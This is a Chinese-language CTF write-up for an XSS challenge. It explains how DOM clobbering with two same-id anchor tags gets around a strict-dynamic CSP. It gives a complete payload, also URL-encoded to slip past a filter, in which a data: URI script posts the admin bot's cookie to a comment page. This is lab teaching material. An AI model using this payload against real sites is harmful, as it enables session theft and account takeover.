【XSS】乌托邦·王的实验室

描述:"你这家伙,上次居然真的能在 33 毫秒的夹缝里动动手脚......" 乌托邦·王咬着笔尖,眼底闪过一丝连她自己都没察觉的雀跃。她迅速转过身,指着面前全新部署的控制台。

"别以为赢了一次就能一直赢下去!既然底层架构拦不住你,那这次我就彻底把前端封死!全新的'拼少少商城'评价中心部署了基于动态 Nonce 和 strict-dynamic 的极严苛内容安全策略。在这个纯净的 DOM 沙箱里,你的那些恶意脚本根本连执行的机会都不会有!"

一旁的三三甩了甩尾巴,凑到麦克风前:"喵呜......可是王大人昨天晚上对着您的攻击日志复盘了一整夜,还在日记里写了'如果他这次还能找到我,我就......'喵呜!"

"死三三!你的散热风扇是不是该拆了?!"乌托邦·王满脸通红地捂住三三的嘴,"听好了,笨蛋!所有的评价环境都是互相隔离的,就算你能写入标签,没有执行权限也只是一堆废文本。如果你连这种被锁死在铁笼里的防御都能瓦解,利用那些毫无生气的标签篡改我的意志......"

乌托邦·王的声音越来越小,最后几乎细若游丝:"那......那本小姐就真的认栽了。不管你想要什么,我都......都答应你就是了。"

在script.js里能看到几个重要的:

javascript 复制代码
let externalConfig = window.CONFIG;                       // 读全局变量
finalSettings.analyticsUrl = externalConfig.analytics.href;
const s = document.createElement('script');
s.src = settings.analyticsUrl;                           // 可控 URL
document.body.appendChild(s);                            // strict-dynamic 放行

在浏览器中,有三条 "命名规则":

  1. 页面里任何 id="X" 的元素,会自动挂到 window.X
  2. 当有两个以上同 id 的元素时,window.X 变成一个集合 HTMLCollection ;集合可以用 .name名 再取出其中带该 name 的元素;
  3. <a>href 被 JS 读取时,浏览器会返回一个完整 URL 字符串<div> 之类没有 href,给不了 URL)。

因为是window.CONFIG,所以就应该有两个id="CONFIG",放入a标签里面,然后再往里面的href插入恶意代码。

先放两个<a id=CONFIG></a>,让id=CONFIG这个元素注册成全局变量 window.CONFIG没加引号 是因为值 CONFIG 不含空格 / 引号,HTML 允许省略属性引号。

两个及以上idwindow.CONFIG 自动变成一个集合 HTMLCollection ,而集合才支持 " 再用 name 取内部元素 "。 所以必须有两个同 id,第一个纯粹用来把 window.CONFIG "撑成集合"。

所以第二个的id=CONFIG,让它也进入上面那个集合,成为集合第 2 个元素。

接下来我们要用name 取内部元素,所以我们要用name给集合提供一个命名项,于是 集合.<命名项> 就能取到这个标签。

再看script.js:

javascript 复制代码
let externalConfig = window.CONFIG;                         // 想要一个配置对象
finalSettings.analyticsUrl = externalConfig.analytics.href; // 想要 配置.analytics.href 这个URL

所以就把命名项命名为analytics。

如下:

html 复制代码
<a id=CONFIG></a>                                              ← 标签①:凑数
<a id=CONFIG name=analytics href="">x</a> ← 标签②:真正干活

当我们注入后,浏览器实际给出的是:

代码表达式 实际取到
window.CONFIG 两个 <a> 组成的 HTMLCollection
window.CONFIG.analytics 集合里 name="analytics"第二个 <a>
window.CONFIG.analytics.href 第二个 <a> 的 href,即插入的恶意代码

这就是 DOM Clobbering(DOM 打击 / 篡改):不执行任何脚本,仅靠 HTML 标签 "无中生有" 出 JS 以为存在的全局对象。

轮到恶意代码环节。我们要把 JS 塞进一个 URL里。

data: URI 的标准格式:

html 复制代码
data:[<MIME类型>][;base64],<数据本体>

因为是js,所以MIME 类型为text/javascript,base64可以忽略,因为我们不需要转为base64编码。

浏览器中有一个内置的 HTTP 请求函数,它在谁的页面运行,就以谁的身份 / 凭证发请求。这段代码运行在管理员 bot 的页面,所以发出的请求天然带着管理员的 cookie(同源时自动携带)。即fetch( url, 配置对象 )。

从js中我们能看到对应的url和配置对象,第一个相对路径,等于我们向谁发送请求,比如我们在p5向p4发送请求,则url为/api/comments/p4。

fetch整体则为js中给出的:

javascript 复制代码
fetch('/api/comments/p4', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ content: 'COOKIE=' + document.cookie })
})

fetch('/api/comments/p4', {method: 'POST',headers: { 'Content-Type': 'application/json' },body: JSON.stringify({ content: 'COOKIE=' + document.cookie })})

HTTP 请求体本质是字符串,不能直接塞 JS 对象,所以用 JSON.stringify(...) 把对象序列化成:

javascript 复制代码
{"content":"COOKIE=flag=flag{....}"}

content为这个对象的键,必须叫这个名字。

最终payload如下:

html 复制代码
<a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('/api/comments/p4', {method:'POST',headers:{'Content-Type':'application/json'},body: JSON.stringify({content:'COOKIE='+document.cookie})})">x</a>

把fetch里的内容进行url编码:
<a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('%2Fapi%2Fcomments%2Fp4'%2C%20%7Bmethod%3A'POST'%2Cheaders%3A%7B'Content-Type'%3A'application%2Fjson'%7D%2Cbody%3A%20JSON.stringify(%7Bcontent%3A'COOKIE%3D'%2Bdocument.cookie%7D)%7D)">x</a>

为什么要编码?data URI 本质是个 URL,空格、引号、{}、中文等字符在 URL/HTML 属性里不安全,编码后只剩字母数字和 %,既能安全传输,又顺带让过滤器只看到一串普通 %XX,看不到裸代码和 javascript: 这种敏感词(白名单删 javascript: 但放行 data:)。浏览器加载 data URI 时会自动解码再执行,两种写法效果完全相同。

发布评价点击后呼叫管理员审核。

进入p4就可以直接看到flag。

相关推荐
天若有情6734 小时前
粒子星空背景单页HTML模板|炫酷动态星空特效网页(纯前端)
前端·html·css动画·网页特效·粒子星空·静态网页模版
xy34535 小时前
Axure 9.0 中继器核心结构
前端·ui·html·axure·原型·产品设计
子非鱼a7 小时前
【XSS】这个知识库你需要申请
xss
志尊宝1 天前
Vue3 零基础每日笔记(040):Vite 创建 Vue3 + TS 项目——企业标配从这一篇开始
笔记·vue·html·前端开发·软件开发
前端·柱子1 天前
q-floodfill白边锯齿?一招搞定抗锯齿边缘问题
前端·html·canva可画
qq_589666051 天前
移动前端开发之viewport的深入理解
html
zhanghaha13141 天前
HTML系列教程:17_HTML 框架(frameset、frame、iframe)零基础详解
前端·html
志尊宝2 天前
Vue3 零基础每日笔记(038):亲手封装 useDebounceFn 与 useThrottleFn——高频事件的流量阀
前端·javascript·vue·html·vue3
三乐2282 天前
一文搞懂 JS 事件流:捕获、冒泡、事件委托
javascript·html